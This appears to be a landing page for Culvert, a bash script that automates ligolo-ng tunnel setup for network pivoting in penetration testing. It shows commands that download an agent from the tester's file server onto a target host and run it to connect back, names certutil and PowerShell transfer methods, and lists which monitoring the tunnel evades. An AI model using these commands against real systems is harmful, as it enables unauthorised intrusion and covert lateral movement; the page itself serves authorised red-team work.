Zero to pivoting in 30 seconds

One-command ligolo-ng tunnel setup. Automates TUN interface, routing, and agent connection. No proxychains needed — access target networks directly.

culvert
$ sudo ./culvert.sh auto
[+] Downloading ligolo-ng v0.7.5...
[+] TUN interface ligolo created
[+] File server on :8000
[+] Proxy listening on :11601

STEP 1: Download agent on target
$ curl http://10.10.14.5:8000/ligolo-agent -o /tmp/a
STEP 2: Run agent on target
$ /tmp/a -connect 10.10.14.5:11601 -ignore-cert
0
Seconds
0
Command
0
Steps Automated
0
Subcommands

One command, full tunnel

Auto-downloads binaries, configures TUN, starts file server, launches proxy. Step-by-step guidance with your IP pre-filled.

One-Command Setup

Run sudo ./culvert.sh auto and the script downloads ligolo-ng binaries, creates the TUN interface, starts a file server on port 8000, and launches the proxy.

$ sudo ./culvert.sh auto
[+] Downloading ligolo-ng v0.7.5...
[+] TUN ligolo created, proxy on :11601
30
Seconds to Pivot

Auto IP Detection

Detects your attack IP by checking tun0, tun1, tap0, and default route in priority order. All generated commands use your actual IP.

Multi-Platform Agents

Downloads agents for Linux (amd64/arm64), Windows (amd64), and macOS (arm64). Transfer commands provided for curl, PowerShell iwr, and certutil.

Clean Teardown

Removes all routes, stops the file server and proxy, tears down the TUN interface. No orphaned processes or stale routes left behind.

10
Subcommands

Step-by-Step Guidance

After setup, numbered steps with exact commands for agent transfer, connection, session selection, route addition, and tunnel start. Your IP is pre-filled in every command.

STEP 1: Download agent on target
$ curl http://10.10.14.5:8000/ligolo-agent -o /tmp/a
STEP 2: Run agent on target
$ /tmp/a -connect 10.10.14.5:11601 -ignore-cert

Modular Commands

Each operation available as a standalone subcommand. download, setup-tun, add-route, status for granular control.

Platform support

Full-featured on Kali, Ubuntu, and Debian. Agent binaries for Linux, Windows, and macOS.

TUN Interface
Auto IP Detect
Binary Download
File Server
Route Management
Agent Transfer
Clean Teardown
Status Check
Linux Agent
Windows Agent
macOS Agent
Custom Port
CIDR Routing
curl Transfer
PowerShell iwr
certutil
Full   Windows Only   Not Supported

Linear execution flow

Download, configure, start, guide. Single-file script with modular subcommands for granular control.

1

Binary Download

Fetches ligolo-ng proxy and agent binaries from GitHub releases. Stores in ~/.ligolo-ng. Multi-platform agent support out of the box.

2

TUN Configuration

Creates and activates TUN interface via ip tuntap. Route management with add-route and del-route subcommands.

3

Service Startup

Python HTTP file server on port 8000 for agent transfer. Proxy on configurable port (default 11601) with trap-based cleanup on exit.

4

Guided Workflow

Numbered steps with pre-filled IPs and exact commands. Agent transfer, connection, session selection, route addition, and tunnel start.

Install and run

Single bash script with no build step. curl, jq, and tar are the only prerequisites.

install.sh
$ curl -O https://raw.githubusercontent.com/Real-Fruit-Snacks/Culvert/main/culvert.sh
$ chmod +x culvert.sh

# Full automated setup
$ sudo ./culvert.sh auto

# Custom proxy port
$ PROXY_PORT=443 sudo ./culvert.sh auto
usage.sh
# Add route to internal network
$ sudo ./culvert.sh add-route 10.10.10.0/24

# Check current status
$ ./culvert.sh status

# Show agent commands for all platforms
$ ./culvert.sh agent-cmd

# Clean teardown
$ sudo ./culvert.sh cleanup

Know the boundaries

Hidden From

  • Default installations — uses standard ligolo-ng binaries
  • Casual monitoring — tunneled traffic appears as TUN interface
  • Port scanners — proxy port looks like generic TCP
  • File residue — cleanup removes all artifacts
  • Stale routes — teardown cleans routing table

Visible To

  • Network monitoring — TUN interface visible in ip a
  • Process listing — proxy and file server in ps
  • Firewall logs — connection to proxy port
  • EDR / XDR — behavioral analysis of tunneling
  • Traffic analysis — tunneled connection metadata